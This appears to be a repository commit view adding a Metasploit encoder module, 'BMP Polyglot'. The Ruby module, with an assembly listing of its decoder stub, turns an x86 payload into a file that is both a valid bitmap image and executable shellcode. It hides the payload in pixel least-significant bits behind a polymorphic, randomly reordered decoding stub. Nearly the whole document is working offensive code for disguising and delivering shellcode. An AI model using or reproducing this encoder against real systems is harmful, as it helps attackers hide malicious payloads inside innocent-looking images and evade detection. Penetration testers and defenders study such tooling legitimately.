Browse Source

Land #6441, x86/BMP polyglot encoder

James Lee 3 years ago
parent
commit
88ef3076e4
No account linked to committer's email address
1 changed files with 419 additions and 0 deletions
  1. 419
    0
      modules/encoders/x86/bmp_polyglot.rb

+ 419
- 0
modules/encoders/x86/bmp_polyglot.rb View File

@@ -0,0 +1,419 @@
1
+##
2
+# This module requires Metasploit: http://metasploit.com/download
3
+# Current source: https://github.com/rapid7/metasploit-framework
4
+##
5
+
6
+require 'rex/poly'
7
+require 'msf/core'
8
+
9
+=begin
10
+[BITS 32]
11
+
12
+global _start
13
+
14
+_start:
15
+  pushad                ; backup all registers
16
+
17
+  call get_eip          ; get the value of eip
18
+get_eip:
19
+  pop esi               ; and put it into esi to use as the source
20
+  add esi, 0x30         ; advance esi to skip this decoder stub
21
+  mov edi, esi          ; copy it to edi which is where to start writing
22
+  add esi, 0x1234       ; increase the source to skip any padding
23
+  mov ecx, 0x1234       ; set the byte counter
24
+
25
+get_byte:               ; <---------------------------------------------------------\
26
+  xor eax, eax          ; clear eax which is where our newly decoded byte will go   |
27
+  push ecx              ; preserve the byte counter                                 |
28
+  xor ecx, ecx          ; set the counter to 0                                      |
29
+  mov cl, 8             ; set the counter to 8 (for bits)                           |
30
+get_bit:                ; <------------------------------------------------------\  |
31
+  shl eax, 1            ; shift eax one to make room for the next bit            |  |
32
+  mov bl, byte [esi]    ; read a byte from the source register                   |  |
33
+  inc esi               ; advance the source register by a byte                  |  |
34
+  and bl, 1             ; extract the value of the least-significant bit         |  |
35
+  or al, bl             ; put the least-significat bit into eax                  |  |
36
+  dec ecx               ; decrement the bit counter                              |  |
37
+  jne short get_bit     ; -------------------------------------------------------/  |
38
+                        ;                                                           |
39
+  ; get bit loop is done                                                            |
40
+  pop ecx               ; restore the byte counter                                  |
41
+  mov byte [edi], al    ; move the newly decoded byte to its final destination      |
42
+  inc edi               ; increment the destination pointer                         |
43
+                        ;                                                           |
44
+  dec ecx               ; decrement the byte counter                                |
45
+  jne get_byte          ; ----------------------------------------------------------/
46
+
47
+  ; get byte loop is done
48
+  popad                 ; restore all registers
49
+
50
+=end
51
+
52
+# calculate the smallest increase of a 32-bit little endian integer which is
53
+# also a valid x86 jmp opcode of the specified minimum size.
54
+class SizeCalculator
55
+
56
+  BYTE_NOPS = [
57
+    0x42, # inc edx
58
+    0x45, # inc ebp
59
+    0x4a, # dec edx
60
+    0x4d, # dec ebp
61
+    0x90, # xchg eax, eax / nop
62
+    0xf5, # cmc
63
+    0xf8, # clc
64
+    0xf9, # stc
65
+    0xfc, # cld
66
+    0xfd  # std
67
+  ]
68
+
69
+  def initialize(size, minimum_jump)
70
+    @original_size = size
71
+    raise if minimum_jump < 0 || minimum_jump > 0xff
72
+    @minimum_jump = minimum_jump
73
+  end
74
+
75
+  def calculate
76
+    possibles = []
77
+    size = new_size_long
78
+    possibles << size unless size.nil?
79
+    size = new_size_short
80
+    possibles << size unless size.nil?
81
+    return if possibles.length == 0
82
+    possibles.min
83
+  end
84
+
85
+  def new_size_long
86
+    size = [ @original_size ].pack('V').unpack('CCCC')
87
+
88
+    0.upto(2) do |i|
89
+      byte_0 = size[i]
90
+      byte_1 = size[i + 1]
91
+      byte_2 = size[i + 2].to_i
92
+      byte_3 = size[i + 3].to_i
93
+      byte_4 = size[i + 4].to_i
94
+      min_jmp = (@minimum_jump - 5 - i)
95
+
96
+      if byte_2 + byte_3 + byte_4 > 0  # this jmp would be too large
97
+        if byte_0 > 0xfd
98
+          size = increment_size(size, i)
99
+        end
100
+        size[i] = round_up_to_nop(byte_0)
101
+        next
102
+      end
103
+
104
+      if byte_0 > 0xe9
105
+        if byte_0 > 0xfd
106
+          size = increment_size(size, i)
107
+        end
108
+        size[i] = round_up_to_nop(byte_0)
109
+      else
110
+        size[i] = 0xe9
111
+        byte_1 = min_jmp if byte_1 < min_jmp
112
+        size[i + 1] = byte_1
113
+        return size.pack('CCCC').unpack('V')[0]
114
+      end
115
+    end
116
+  end
117
+
118
+  def new_size_short
119
+    return if @minimum_jump > 0x81  # short won't make it in this case (0x7f + 0.upto(2).to_a.max)
120
+    size = [ @original_size ].pack('V').unpack('CCCC')
121
+
122
+    0.upto(2) do |i|
123
+      byte_0 = size[i]
124
+      byte_1 = size[i + 1]
125
+      min_jmp = (@minimum_jump - 2 - i)
126
+
127
+      if byte_0 > 0xeb
128
+        if byte_0 > 0xfd
129
+          size = increment_size(size, i)
130
+        end
131
+        size[i] = round_up_to_nop(byte_0)
132
+      else
133
+        size[i] = 0xeb
134
+        if byte_1 > 0x7f
135
+          byte_1 = min_jmp
136
+          size = increment_size(size, i + 1)
137
+        elsif byte_1 < min_jmp
138
+          byte_1 = min_jmp
139
+        end
140
+        size[i + 1] = byte_1
141
+        return size.pack('CCCC').unpack('V')[0]
142
+      end
143
+    end
144
+  end
145
+
146
+  def size_to_jmp(size)
147
+    jmp = 0
148
+    packed = [ size, 0 ].pack('VV')
149
+
150
+    until [ "\xe9", "\xeb" ].include?(packed[0])
151
+      packed = packed[1..-1]
152
+      jmp += 1
153
+    end
154
+
155
+    if packed[0] == "\xe9"
156
+      jmp +=  packed[1..4].unpack('V')[0]
157
+      jmp += 5
158
+    elsif packed[0] == "\xeb"
159
+      jmp += packed[1].unpack('C')[0]
160
+      jmp += 2
161
+    end
162
+
163
+    jmp
164
+  end
165
+
166
+  private
167
+
168
+  def increment_size(size, byte)
169
+    size = size.pack('CCCC').unpack('V')[0]
170
+    size += (0x0100 << byte * 8)
171
+    [ size ].pack('V').unpack('CCCC')
172
+  end
173
+
174
+  def round_up_to_nop(opcode)
175
+    BYTE_NOPS.find { |nop| opcode <= nop }
176
+  end
177
+
178
+end
179
+
180
+class Metasploit4 < Msf::Encoder
181
+
182
+  Rank = ManualRanking
183
+
184
+  DESTEGO_STUB_SIZE = 53
185
+  # bitmap header sizes
186
+  BM_HEADER_SIZE = 14
187
+  DIB_HEADER_SIZE = 40
188
+
189
+  def initialize
190
+    super(
191
+      'Name'             => 'BMP Polyglot',
192
+      'Description'      => %q{
193
+        Encodes a payload in such a way that the resulting binary blob is both
194
+        valid x86 shellcode and a valid bitmap image file (.bmp). The selected
195
+        bitmap file to inject into must use the BM (Windows 3.1x/95/NT) header
196
+        and the 40-byte Windows 3.1x/NT BITMAPINFOHEADER. Additionally the file
197
+        must use either 24 or 32 bits per pixel as the color depth and no
198
+        compression. This encoder makes absolutely no effort to remove any
199
+        invalid characters.
200
+      },
201
+      'Author'           => 'Spencer McIntyre',
202
+      'Arch'             => ARCH_X86,
203
+      'License'          => MSF_LICENSE,
204
+      'References'       =>
205
+        [
206
+          [ 'URL'        => 'https://warroom.securestate.com/bmp-x86-polyglot/' ]
207
+        ]
208
+    )
209
+
210
+    register_options(
211
+      [
212
+        OptString.new('BitmapFile', [ true, 'The .bmp file to inject into' ])
213
+      ],
214
+      self.class)
215
+  end
216
+
217
+  def can_preserve_registers?
218
+    true
219
+  end
220
+
221
+  def preserves_stack?
222
+    true
223
+  end
224
+
225
+  def make_pad(size)
226
+    (0...size).map { (rand(0x100)).chr }.join
227
+  end
228
+
229
+  def modified_registers
230
+    # these two registers are modified by the initial BM header
231
+    #   B 0x42 inc edx
232
+    #   M 0x4d dec ebp
233
+    [
234
+      Rex::Arch::X86::EBP, Rex::Arch::X86::EDX
235
+    ]
236
+  end
237
+
238
+  # take the original size and calculate a new one that meets the following
239
+  # requirements:
240
+  #   - large enough to store all of the image data and the assembly stub
241
+  #   - is also a valid x86 jmp instruction to land on the assembly stub
242
+  def calc_new_size(orig_size, stub_length)
243
+    minimum_jump = BM_HEADER_SIZE + DIB_HEADER_SIZE - 2  # -2 for the offset of the size in the BM header
244
+    calc = SizeCalculator.new(orig_size + stub_length, minimum_jump)
245
+    size = calc.calculate.to_i
246
+    raise EncodingError, 'Bad .bmp, failed to calculate jmp for size' if size < orig_size
247
+
248
+    jump = calc.size_to_jmp(size)
249
+    pre_pad = jump - minimum_jump
250
+    post_pad = size - orig_size - stub_length - pre_pad
251
+    return { :new_size => size, :post_pad => post_pad, :pre_pad => pre_pad }
252
+  end
253
+
254
+  # calculate the least number of bits that must be modified to place the
255
+  # shellcode buffer into the image data
256
+  def calc_required_lsbs(sc_len, data_len)
257
+    return 1 if sc_len * 8 <= data_len
258
+    return 2 if sc_len * 4 <= data_len
259
+    return 4 if sc_len * 2 <= data_len
260
+    raise EncodingError, 'Bad .bmp, not enough image data for stego operation'
261
+  end
262
+
263
+  # asm stub that will extract the payload from the least significant bits of
264
+  # the binary data which directly follows it
265
+  def make_destego_stub(shellcode_size, padding, lsbs = 1)
266
+    raise RuntimeError, 'Invalid number of storage bits' unless [1, 2, 4].include?(lsbs)
267
+    gen_regs = [ 'eax', 'ebx', 'ecx', 'edx' ].shuffle
268
+    ptr_regs = [ 'edi', 'esi' ].shuffle
269
+    # declare logical registers
270
+    dst_addr_reg = Rex::Poly::LogicalRegister::X86.new('dst_addr', ptr_regs.pop)
271
+    src_addr_reg = Rex::Poly::LogicalRegister::X86.new('src_addr', ptr_regs.pop)
272
+    ctr_reg = Rex::Poly::LogicalRegister::X86.new('ctr', gen_regs.pop)
273
+    byte_reg = Rex::Poly::LogicalRegister::X86.new('byte', gen_regs.pop)
274
+    bit_reg = Rex::Poly::LogicalRegister::X86.new('bit', gen_regs.pop)
275
+
276
+    endb = Rex::Poly::SymbolicBlock::End.new
277
+
278
+    get_eip_nop = Proc.new { |b| [0x90, 0x40 + b.regnum_of([bit_reg, byte_reg, dst_addr_reg, src_addr_reg].sample), 0x48 + b.regnum_of([bit_reg, byte_reg, dst_addr_reg, src_addr_reg].sample)].sample.chr }
279
+    get_eip = Proc.new { |b|
280
+      [
281
+        Proc.new { |b| "\xe8" + [0, 1].sample.chr + "\x00\x00\x00" + get_eip_nop.call(b) + (0x58 + b.regnum_of(src_addr_reg)).chr },
282
+        Proc.new { |b| "\xe8\xff\xff\xff\xff" + (0xc0 + b.regnum_of([bit_reg, byte_reg, dst_addr_reg, src_addr_reg].sample)).chr + (0x58 + b.regnum_of(src_addr_reg)).chr },
283
+      ].sample.call(b)
284
+    }
285
+    set_src_addr = Proc.new { |b, o| "\x83" + (0xc0 + b.regnum_of(src_addr_reg)).chr + [ b.offset_of(endb) + o ].pack('c') }
286
+    set_dst_addr = Proc.new { |b| "\x89" + (0xc0 + (b.regnum_of(src_addr_reg) << 3) + b.regnum_of(dst_addr_reg)).chr }
287
+    set_byte_ctr = Proc.new { |b| (0xb8 + b.regnum_of(ctr_reg)).chr + [ shellcode_size ].pack('V') }
288
+    adjust_src_addr = Proc.new { |b| "\x81" + (0xc0 + b.regnum_of(src_addr_reg)).chr + [ padding ].pack('V') }
289
+    initialize = Rex::Poly::LogicalBlock.new('initialize',
290
+      Proc.new { |b| "\x60" + get_eip.call(b) + set_src_addr.call(b, -6) + set_dst_addr.call(b) + adjust_src_addr.call(b) + set_byte_ctr.call(b) },
291
+      Proc.new { |b| "\x60" + get_eip.call(b) + set_src_addr.call(b, -6) + set_dst_addr.call(b) + set_byte_ctr.call(b) + adjust_src_addr.call(b) },
292
+      Proc.new { |b| "\x60" + get_eip.call(b) + set_src_addr.call(b, -6) + set_byte_ctr.call(b) + set_dst_addr.call(b) + adjust_src_addr.call(b) },
293
+      Proc.new { |b| "\x60" + get_eip.call(b) + set_byte_ctr.call(b) + set_src_addr.call(b,  -6) + set_dst_addr.call(b) + adjust_src_addr.call(b) },
294
+      Proc.new { |b| "\x60" + set_byte_ctr.call(b) + get_eip.call(b) + set_src_addr.call(b, -11) + set_dst_addr.call(b) + adjust_src_addr.call(b) },
295
+    )
296
+
297
+    clr_byte_reg = Proc.new { |b| [0x29, 0x2b, 0x31, 0x33].sample.chr + (0xc0 + (b.regnum_of(byte_reg) << 3) + b.regnum_of(byte_reg)).chr }
298
+    clr_ctr = Proc.new { |b| [0x29, 0x2b, 0x31, 0x33].sample.chr + (0xc0 + (b.regnum_of(ctr_reg) << 3) + b.regnum_of(ctr_reg)).chr }
299
+    backup_byte_ctr = Proc.new { |b| (0x50 + b.regnum_of(ctr_reg)).chr }
300
+    set_bit_ctr = Proc.new { |b| (0xb0 + b.regnum_of(ctr_reg)).chr + (8 / lsbs).chr }
301
+    get_byte_loop = Rex::Poly::LogicalBlock.new('get_byte_loop',
302
+      Proc.new { |b| clr_byte_reg.call(b) + backup_byte_ctr.call(b) + clr_ctr.call(b) + set_bit_ctr.call(b) },
303
+      Proc.new { |b| backup_byte_ctr.call(b) + clr_byte_reg.call(b) + clr_ctr.call(b) + set_bit_ctr.call(b) },
304
+      Proc.new { |b| backup_byte_ctr.call(b) + clr_ctr.call(b) + clr_byte_reg.call(b) + set_bit_ctr.call(b) },
305
+      Proc.new { |b| backup_byte_ctr.call(b) + clr_ctr.call(b) + set_bit_ctr.call(b) + clr_byte_reg.call(b) },
306
+    )
307
+    get_byte_loop.depends_on(initialize)
308
+
309
+    shift_byte_reg = Rex::Poly::LogicalBlock.new('shift_byte_reg',
310
+      Proc.new { |b| "\xc1" + (0xe0 + b.regnum_of(byte_reg)).chr + lsbs.chr }
311
+    )
312
+    read_byte = Rex::Poly::LogicalBlock.new('read_byte',
313
+      Proc.new { |b| "\x8a" + ((b.regnum_of(bit_reg) << 3) + b.regnum_of(src_addr_reg)).chr }
314
+    )
315
+    inc_src_reg = Rex::Poly::LogicalBlock.new('inc_src_reg',
316
+      Proc.new { |b| (0x40 + b.regnum_of(src_addr_reg)).chr }
317
+    )
318
+    inc_src_reg.depends_on(read_byte)
319
+    get_lsb = Rex::Poly::LogicalBlock.new('get_lsb',
320
+      Proc.new { |b| "\x80" + (0xe0 + b.regnum_of(bit_reg)).chr + (0xff >> (8 - lsbs)).chr }
321
+    )
322
+    get_lsb.depends_on(read_byte)
323
+    put_lsb = Rex::Poly::LogicalBlock.new('put_lsb',
324
+      Proc.new { |b| "\x08"+ (0xc0 + (b.regnum_of(bit_reg) << 3) + b.regnum_of(byte_reg)).chr }
325
+    )
326
+    put_lsb.depends_on(get_lsb, shift_byte_reg)
327
+    jmp_bit_loop_body = Rex::Poly::LogicalBlock.new('jmp_bit_loop_body')
328
+    jmp_bit_loop_body.depends_on(put_lsb, inc_src_reg)
329
+
330
+    jmp_bit_loop = Rex::Poly::LogicalBlock.new('jmp_bit_loop',
331
+      Proc.new { |b| (0x48 + b.regnum_of(ctr_reg)).chr + "\x75" + (0xfe + -12).chr }
332
+    )
333
+    jmp_bit_loop.depends_on(jmp_bit_loop_body)
334
+
335
+    get_bit_loop = Rex::Poly::LogicalBlock.new('get_bit_loop_body', jmp_bit_loop.generate([ Rex::Arch::X86::EBP, Rex::Arch::X86::ESP ]))
336
+    get_bit_loop.depends_on(get_byte_loop)
337
+
338
+    put_byte = Proc.new { |b| "\x88" + (0x00 + (b.regnum_of(byte_reg) << 3) + b.regnum_of(dst_addr_reg)).chr }
339
+    inc_dst_reg = Proc.new { |b| (0x40 + b.regnum_of(dst_addr_reg)).chr }
340
+    restore_byte_ctr = Proc.new { |b| (0x58 + b.regnum_of(ctr_reg)).chr }
341
+    get_byte_post = Rex::Poly::LogicalBlock.new('get_byte_post',
342
+      Proc.new { |b| put_byte.call(b) + inc_dst_reg.call(b) + restore_byte_ctr.call(b) },
343
+      Proc.new { |b| put_byte.call(b) + restore_byte_ctr.call(b) + inc_dst_reg.call(b) },
344
+      Proc.new { |b| restore_byte_ctr.call(b) + put_byte.call(b) + inc_dst_reg.call(b) },
345
+    )
346
+    get_byte_post.depends_on(get_bit_loop)
347
+
348
+    jmp_byte_loop_body = Rex::Poly::LogicalBlock.new('jmp_byte_loop_body',
349
+      Proc.new { |b| (0x48 + b.regnum_of(ctr_reg)).chr + "\x75" + (0xfe + -26).chr  }
350
+    )
351
+    jmp_byte_loop_body.depends_on(get_byte_post)
352
+
353
+    finalize = Rex::Poly::LogicalBlock.new('finalize', "\x61")
354
+    finalize.depends_on(jmp_byte_loop_body)
355
+
356
+    return finalize.generate([ Rex::Arch::X86::EBP, Rex::Arch::X86::ESP ])
357
+  end
358
+
359
+  def stegoify(shellcode, data, lsbs = 1)
360
+    clr_mask = ((0xff << lsbs) & 0xff)
361
+    set_mask = clr_mask ^ 0xff
362
+    iter_count = 8 / lsbs
363
+
364
+    shellcode.each_char.with_index do |sc_byte, index|
365
+      sc_byte = sc_byte.ord
366
+      0.upto(iter_count - 1) do |bit_pos|
367
+        data_pos = (index * (8 / lsbs)) + bit_pos
368
+        shift = 8 - (lsbs * (bit_pos + 1))
369
+
370
+        d_byte = data[data_pos].ord
371
+        d_byte &= clr_mask
372
+        d_byte |= ((sc_byte & (set_mask << shift)) >> shift)
373
+        data[data_pos] = d_byte.chr
374
+      end
375
+    end
376
+
377
+    data
378
+  end
379
+
380
+  def validate_dib_header(dib_header)
381
+    size, _, _, _, bbp, compression, _, _, _, _, _ = dib_header.unpack('VVVvvVVVVVV')
382
+    raise EncodingError, 'Bad .bmp DIB header, must be 40-byte BITMAPINFOHEADER' if size != DIB_HEADER_SIZE
383
+    raise EncodingError, 'Bad .bmp DIB header, bits per pixel must be must be either 24 or 32' if bbp != 24 && bbp != 32
384
+    raise EncodingError, 'Bad .bmp DIB header, compression can not be used' if compression != 0
385
+  end
386
+
387
+  def encode(buf, badchars = nil, state = nil, platform = nil)
388
+    in_bmp = File.open(datastore['BitmapFile'], 'rb')
389
+
390
+    header = in_bmp.read(BM_HEADER_SIZE)
391
+    dib_header = in_bmp.read(DIB_HEADER_SIZE)
392
+    image_data = in_bmp.read
393
+    in_bmp.close
394
+
395
+    header, original_size, _, _, original_offset = header.unpack('vVvvV')
396
+    raise EncodingError, 'Bad .bmp header, must be 0x424D (BM)' if header != 0x4d42
397
+    validate_dib_header(dib_header)
398
+
399
+    lsbs = calc_required_lsbs(buf.length, image_data.length)
400
+
401
+    details = calc_new_size(original_size, DESTEGO_STUB_SIZE)
402
+    destego_stub = make_destego_stub(buf.length, details[:post_pad], lsbs)
403
+    if destego_stub.length != DESTEGO_STUB_SIZE
404
+      # this is likely a coding error caused by updating the make_destego_stub
405
+      # method but not the DESTEGO_STUB_SIZE constant
406
+      raise EncodingError, 'Bad destego stub size'
407
+    end
408
+
409
+    pre_image_data = make_pad(details[:pre_pad]) + destego_stub + make_pad(details[:post_pad])
410
+    new_offset = original_offset + pre_image_data.length
411
+
412
+    bmp_img = ''
413
+    bmp_img << [0x4d42, details[:new_size], 0, 0, new_offset].pack('vVvvV')
414
+    bmp_img << dib_header
415
+    bmp_img << pre_image_data
416
+    bmp_img << stegoify(buf, image_data, lsbs)
417
+    bmp_img
418
+  end
419
+end

Loading…
Cancel
Save